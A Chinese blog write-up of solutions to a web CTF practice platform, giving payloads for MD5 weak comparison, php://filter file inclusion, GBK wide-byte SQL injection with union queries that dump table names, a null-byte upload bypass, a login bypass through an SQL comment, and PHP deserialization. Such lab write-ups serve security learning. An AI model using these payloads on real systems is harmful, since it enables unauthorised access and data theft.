Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 签到题
    2. 2.2. md5 collision
    3. 2.3. 签到2
    4. 2.4. 这题不是web
    5. 2.5. 层层递进
    6. 2.6. AAencode
    7. 2.7. 单身20年
    8. 2.8. PHP decode
    9. 2.9. 文件包含
    10. 2.10. 单身一百年也没用
    11. 2.11. Download
    12. 2.12. cookie
    13. 2.13. MySQL
    14. 2.14. GBK Injection
    15. 2.15. /x00
      1. 2.15.1. bypass again
    16. 2.16. 变量覆盖
    17. 2.17. PHP是世界上最好的语言
    18. 2.18. 伪装者
    19. 2.19. header
    20. 2.20. 上传绕过
    21. 2.21. SQL注入1
    22. 2.22. pass check
    23. 2.23. 起名字真难
    24. 2.24. 密码重置
    25. 2.25. SQL Injection
    26. 2.26. 综合题
    27. 2.27. 密码重置2
    28. 2.28. PHP反序列化
    29. 2.29. file_get_contents

前言

菜,就要多做题

正文

签到题

直接看源码就可以了。

md5 collision

这题是md5的碰撞问题

$md51 == $md52

md5弱比较,为0e开头的会被识别为科学记数法,结果均为0

payload:?a=aabg7XSs或者?a=240610708)

还有这些都是一些常用的。

QNKCDZO,240610708,s878926199a,s155964671a,s214587387a,s214587387a

签到2

ADZ0yV.png

要求输入zhimakaimen,但是输入之后也没用。

bp抓包,发现zhimakaimen变成了zhimakaime,少了个n,应该是限制了长度

ADZcFJ.png

直接加上n,然后go,即可得到flag

这题不是web

ADZTTe.png

刚开始有点迷,就一张图,既然他说不是web,就把图下载下来,放到hxd里看一看,搜索nctf,在最后找到flag

层层递进

打开之后就是一个普通的网页,题目中说到微博,我还去看了看,啥也没发现,不过也关注了黑客叔叔QAQ。

题目叫层层递进,在网页中找了半天,点了很多网页也没发现什么,只能查看源码,

发现有一个SO.html

ADnowT.png

访问一下,又出现一个界面,明显不是同一个界面,再看源码,又有一个S0.html,访问,又出现一个界面,源码里是SO.htm,访问,又有一个界面,是S0.html,继续,这次源码里有一个404.html,访问,出现如下:

ADum0f.png

继续查看源码,发现好大一段注释啊,仔细看看,里面就有flag

ADun78.png

这题还真的是层层递进啊。

还有一种方法,直接扫描了一下网站后台,就可以发现404了,,,,,,

AAencode

打开题目,不知道是什么鬼,

ADKmvR.png

Google打开

ADKuK1.png

看来是编码问题,Unicode之后,就会得到一段AAencode加密的话

1
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

直接放在控制台里跑一下,就行

ADKZ8J.png

单身20年

说道手速问题,直接bp抓包

ADKart.png

PHP decode

给了一段PHP代码

1
2
3
4
5
6
7
8
9
10
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

eval()这个函数运行时,会执行他括号里面的语句,这里面应该是flag,

所以把eval改成echo,放在本地运行一下,就可以输出flag

或者找个在线执行代码的网站,执行一下。

ADMyTK.png

文件包含

既然叫文件包含了,那就文件包含了。

直接拿payload

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

以base64编码把index.php源码读出来,然后base64解码,即可得到flag。

ADQsjs.png

单身一百年也没用

还是抓包,go了一次之后啥也没有,那就再go一次,得到flag

ADlY24.png

Download

题目似乎坏掉了

打开题目一个空白页,bp抓包试试,

发现cookie:login=0

ADlyGD.png

改成login=1试试,就得到flag了

MySQL

提示了robots.txt,那就打开robots.txt看看

ADl5If.png

tip:sql.php,应该是这个页面的问题,源码中当id=1024时,会输出“no,try again”,id!=1024时,才弹出content(应该有flag),但是当id=1,2,,,等数字时,也没用弹出,

代码中有个intval函数,这个函数是取整函数,

如果我们输入1024.xxxxxx,如1024.000001的话,intval会取整,那么$id会是1024,但是当判断$_GET[id]==1024时就会为假,因为没有强制类型转化,所以两个一个是1024,一个是1024*10^12,不相等,两个条件同时满足,因此就能绕过得到flag

AD3D3D.png

GBK Injection

AD3LEq.png

id=1时正常,加上单引号之后,发现单引号被转义了,

1554034118341

再看看题目,肯定是宽字节注入了,页面编码保存为gbk,

宽字节注入,就是为了逃过转义函数的限制,宽字节注入就是利用了mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,我们可以输入%df试一下。

payload:?id=1%df'

1554034528348

可以看到,有了报错信息,这样就可以注入了

Ar6RWF.png

测试后发现只有两列

爆库

?id=-1%df' union select 1,database()%23

Ar6yd0.png

爆表

`?id=-1%df’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

ArcQYT.png

爆列

?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466%23

把”ctf“转换成十六进制,挨个都爆了一遍,最终在ctf4中发现flag

Argr5V.png

爆数据

?id=-1%df%27 union select 1,flag from ctf4%23

Ar2pPf.png

得到一个flag,提交之后不对,

只能再挨个文件找,在ctf的pw中找到一个,也不对,看来是被别人玩坏了

Ar2seA.png

不过,注入的目的已经实现了。

/x00

1
2
3
4
5
6
7
8
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}

给了源码,那就好说了

ereg函数会把null值当成结束,可以使用%00截断,但是strpps会绕过%00,

strpos ($_GET[‘nctf’], ‘#biubiubiu’) !== FALSE,这句话要求nctf中包含“#biubiubiu”,所以构造payload:

?nctf=1%00%23biubiubiu

ArRgB9.png

还有一种简单的方法,那就是strpos会被数组绕过

payload:?nctf[]=

ArRcnJ.png

就可以了。

bypass again
1
2
3
4
5
6
7
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

给了源码,MD5弱比较,直接数组绕过

payload:?a[]=1&b[]=2

ArW1ER.png

或者取两个MD5值也可以

payload:?a=QNKCDZO&b=240610708

ArWQb9.png

变量覆盖

根据页面的提示,在source.php中找到源码

1
2
3
4
5
6
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?>

看到了,extract函数,所以只要post传入任意的pass与thepassword_123值相等即可

ArfDL4.png

PHP是世界上最好的语言

挂了

伪装者

ArhV6U.png

看样子是要伪装成本地登录了,bp抓包,直接在header里添加

X-Forwarded-For:127.0.0.1

挂了

上传绕过

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html><head><meta charset="utf-8" /></head>

<body>
<br><br>
文件上传<br><br>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="hidden" name="dir" value="/uploads/" />
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

传一张图片,显示如下:

AshnVH.png

提示上传.php,传一个php文件后,又说不能传php

Ashuad.png

bp抓包,先上传图片,抓到薄厚,再修改后缀名,尝试了很多php,Php,pHp,phP,PHp,pHP,PhP,PHP,phpphp,phphpp,php3,php4,php5等发现都失败,

再看看源码和报错信息,发现在经过图片后缀检查后,根据basename判断是不是php文件,所以可以用空字节截断,上传一个图片,在/uploads/后给出一个名字比如:
/uploads/1.php
然后在php后用hex增加一个00字符,即可成功绕过。

As4dmD.png

SQL注入1

点击source看一下源码,看一下SQL语句

1
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";

发现是单引号+括号的闭合,post:user=1')%23&pass=1,不报错,闭合成功

要求是admin用户,那就构造payload:

user=admin')%23&pass=1 //%23会把后面的注释掉,不管密码对不对都可以

AsIhJs.png

pass check

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

考察PHP弱类型,从PHP社区文档的注解可以发现strcmp函数在比较数组时,会返回null。所以post的数据为pass[]=a

AsoWnK.png

起名字真难

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

不能传入数字,但是要传入54975581388,才能得到flag,转换为十六进制传入可以绕过

As72dO.png

密码重置

AsHuOx.png

要admin用户密码,但是此时的用户是ctfuser,而且在不能在输入框中直接改,发现url中有user1=Y3RmdXNlcg==,Y3RmdXNlcg==是ctfuser经过base64加密的,所以把admin用base64编码之后,传入url中,发现没用,bp抓包试试

AsbK3j.png

发现有三处穿了user的信息,把这三处都改成admin,其中前两处需要base64编码,即可得到flag

Asq9aT.png

SQL Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;
-->

TIP:反斜杠可以用来转义,仔细查看相关函数的用法

通过代码发现,需要传入GET类型的username以及password,首先调用了clean方法,在clean方法首先判断是否开启了添加反斜杠,如果添加了,使用stripslashes()删除反斜杠,然后调用htmlentities()方法将把字符转换为 HTML 实体,htmlentities($str, ENT_QUOTES)用来转换双引号和单引号。

函数原型是这样

string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get(“default_charset”) [, bool $double_encode = true ]]] )

参数flags缺省情况下与$flags=ENT_QUOTES情况下函数行为不同,

选值为ENT_QUOTESWill convert both double and single quotes

也就是说,前者不会将单引号编码而后者会。我们的最终目标是平衡引号,从而使查询语句语法正确,既然无法输入单引号,就消灭单引号。

访问http://chinalover.sinaapp.com/web15/index.php?username=\&password= or 1%23

也就是构造payload为?username=\&password= or 1%23 ,使得查询语句如下:

SELECT FROM users WHERE name=’admin\’ AND pass=’ or 1 #’;

AySuPP.png

综合题

一大段的JSFUCK

AyS8bj.png

解码看看,得到一个文件名,1bc29b36f623ba82aaf6724fd3b16718.php,访问一下,

密码重置2

这题在学校的平台上做过。而且提示也够多。

看看源码,两处有用信息,首先这里,给了用户名,邮箱,文件编辑器

AOrIJI.png

这里显示了有一个submit.php的页面

AOrHQf.png

访问submit.php之后,说you are not admin,

要求管理员登录,邮箱知道了,但是token不知道,利用文件泄露,查看**.index.php.swp,啥也没有,查看.submit.php.swp**,会看到返回了源码

1
2
3
4
5
6
7
8
9
10
11
12
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}

看了源码,token有两个条件

token长度等于10,值要等于0

那么只需要使token=0000000000或者token=0e11111111(0e开头,PHP会解析为0),

email就是上面的admin@nuptzj.cn

PHP反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];

if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

$o = unserialize($pass)

然后将pass进行反序列化操作,并赋值给变量$o

如果对象o赋值成功,将对象o的secret变量设置为*,并判断对象o的secret变量和enter变量是否相等,===判断数值及属性,如果相等输出flag。

所以我们想到了引用a=&b,&属于引用,属于浅拷贝,一个改变另外一个也随之改变。$this->enter=&$this->secret

直接写一段代码:

1
2
3
4
5
6
7
8
9
<?php
class just4fun{
var $enter;
var $secert;
function __construct(){
$this->enter=&$this->secert;
}}
$a=new just4fun();
print_r(serialize($a));

运行之后得到O:8:"just4fun":2:{s:5:"enter";N;s:6:"secert";R:2;},构造payload:

?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secert";R:2;}

file_get_contents

查看源码

1
2
3
4
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}-->

file_get_contents() 函数把整个文件读入一个字符串中。

如果从$file读入的字符串是”meizijiu”,就输出flag,可以利用PHP伪协议,php://input从我们post的信息中读入数据流,

AOcQXV.png

Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 签到题
    2. 2.2. md5 collision
    3. 2.3. 签到2
    4. 2.4. 这题不是web
    5. 2.5. 层层递进
    6. 2.6. AAencode
    7. 2.7. 单身20年
    8. 2.8. PHP decode
    9. 2.9. 文件包含
    10. 2.10. 单身一百年也没用
    11. 2.11. Download
    12. 2.12. cookie
    13. 2.13. MySQL
    14. 2.14. GBK Injection
    15. 2.15. /x00
      1. 2.15.1. bypass again
    16. 2.16. 变量覆盖
    17. 2.17. PHP是世界上最好的语言
    18. 2.18. 伪装者
    19. 2.19. header
    20. 2.20. 上传绕过
    21. 2.21. SQL注入1
    22. 2.22. pass check
    23. 2.23. 起名字真难
    24. 2.24. 密码重置
    25. 2.25. SQL Injection
    26. 2.26. 综合题
    27. 2.27. 密码重置2
    28. 2.28. PHP反序列化
    29. 2.29. file_get_contents